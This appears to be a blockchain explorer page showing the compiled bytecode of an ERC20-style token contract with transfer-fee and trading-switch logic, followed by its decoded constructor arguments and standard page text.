f208190555080156118ab575f60055f600e60169054906101000a900460ff161515151581526020019081526020015f205f9054906101000a900460ff16600a60149054906101000a900460ff16611678919061224f565b90505f60648260ff168661168c9190612283565b61169691906122f1565b90505f811115611797576116f08160045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b0590919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161178e9190611d97565b60405180910390a35b5f6117ab8287611b1a90919063ffffffff16565b90506117fd8160045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b0590919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161189b9190611d97565b60405180910390a3505050611aaa565b5f8211156119b257611905600c5460045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b0590919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c546040516119a59190611d97565b60405180910390a3611aa9565b611a028360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b0590919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611aa09190611d97565b60405180910390a35b5b5050505050565b5f838311158290611af8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aef9190611bb9565b60405180910390fd5b5082840390509392505050565b5f8183611b129190612321565b905092915050565b5f8183611b279190612354565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611b66578082015181840152602081019050611b4b565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611b8b82611b2f565b611b958185611b39565b9350611ba5818560208601611b49565b611bae81611b71565b840191505092915050565b5f6020820190508181035f830152611bd18184611b81565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611c0682611bdd565b9050919050565b611c1681611bfc565b8114611c20575f80fd5b50565b5f81359050611c3181611c0d565b92915050565b5f819050919050565b611c4981611c37565b8114611c53575f80fd5b50565b5f81359050611c6481611c40565b92915050565b5f8060408385031215611c8057611c7f611bd9565b5b5f611c8d85828601611c23565b9250506020611c9e85828601611c56565b9150509250929050565b5f8115159050919050565b611cbc81611ca8565b82525050565b5f602082019050611cd55f830184611cb3565b92915050565b5f611ce582611bdd565b9050919050565b611cf581611cdb565b82525050565b5f602082019050611d0e5f830184611cec565b92915050565b5f819050919050565b5f611d37611d32611d2d84611bdd565b611d14565b611bdd565b9050919050565b5f611d4882611d1d565b9050919050565b5f611d5982611d3e565b9050919050565b611d6981611d4f565b82525050565b5f602082019050611d825f830184611d60565b92915050565b611d9181611c37565b82525050565b5f602082019050611daa5f830184611d88565b92915050565b5f805f60608486031215611dc757611dc6611bd9565b5b5f611dd486828701611c23565b9350506020611de586828701611c23565b9250506040611df686828701611c56565b9150509250925092565b5f60ff82169050919050565b611e1581611e00565b82525050565b5f602082019050611e2e5f830184611e0c565b92915050565b611e3d81611bfc565b82525050565b5f602082019050611e565f830184611e34565b92915050565b611e6581611e00565b8114611e6f575f80fd5b50565b5f81359050611e8081611e5c565b92915050565b5f60208284031215611e9b57611e9a611bd9565b5b5f611ea884828501611e72565b91505092915050565b5f60208284031215611ec657611ec5611bd9565b5b5f611ed384828501611c23565b91505092915050565b5f8060408385031215611ef257611ef1611bd9565b5b5f611eff85828601611c23565b9250506020611f1085828601611c23565b9150509250929050565b611f2381611ca8565b8114611f2d575f80fd5b50565b5f81359050611f3e81611f1a565b92915050565b5f60208284031215611f5957611f58611bd9565b5b5f611f6684828501611f30565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611fb357607f821691505b602082108103611fc657611fc5611f6f565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612000602083611b39565b915061200b82611fcc565b602082019050919050565b5f6020820190508181035f83015261202d81611ff4565b9050919050565b7f4665652070657263656e746167652065786365656473206d6178696d756d206c5f8201527f696d6974206f6620313025000000000000000000000000000000000000000000602082015250565b5f61208e602b83611b39565b915061209982612034565b604082019050919050565b5f6020820190508181035f8301526120bb81612082565b9050919050565b7f43616e6e6f74207265656e61626c652074726164696e670000000000000000005f82015250565b5f6120f6601783611b39565b9150612101826120c2565b602082019050919050565b5f6020820190508181035f830152612123816120ea565b9050919050565b7f4164726573733a203000000000000000000000000000000000000000000000005f82015250565b5f61215e600983611b39565b91506121698261212a565b602082019050919050565b5f6020820190508181035f83015261218b81612152565b9050919050565b7f54726164696e67206973206e6f74206163746976652e000000000000000000005f82015250565b5f6121c6601683611b39565b91506121d182612192565b602082019050919050565b5f6020820190508181035f8301526121f3816121ba565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61223182611e00565b915060ff8203612244576122436121fa565b5b600182019050919050565b5f61225982611e00565b915061226483611e00565b9250828201905060ff81111561227d5761227c6121fa565b5b92915050565b5f61228d82611c37565b915061229883611c37565b92508282026122a681611c37565b915082820484148315176122bd576122bc6121fa565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6122fb82611c37565b915061230683611c37565b925082612316576123156122c4565b5b828204905092915050565b5f61232b82611c37565b915061233683611c37565b925082820190508082111561234e5761234d6121fa565b5b92915050565b5f61235e82611c37565b915061236983611c37565b9250828203905081811115612381576123806121fa565b5b9291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122085c95c9fc19145b4fbb51b04ebf260aabfb91848a4be04ab5eaee4c0145f378664736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000061

-----Decoded View---------------
Arg [0] : setting1 (uint8): 2
Arg [1] : setting2 (uint8): 97

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000002
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000061


Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.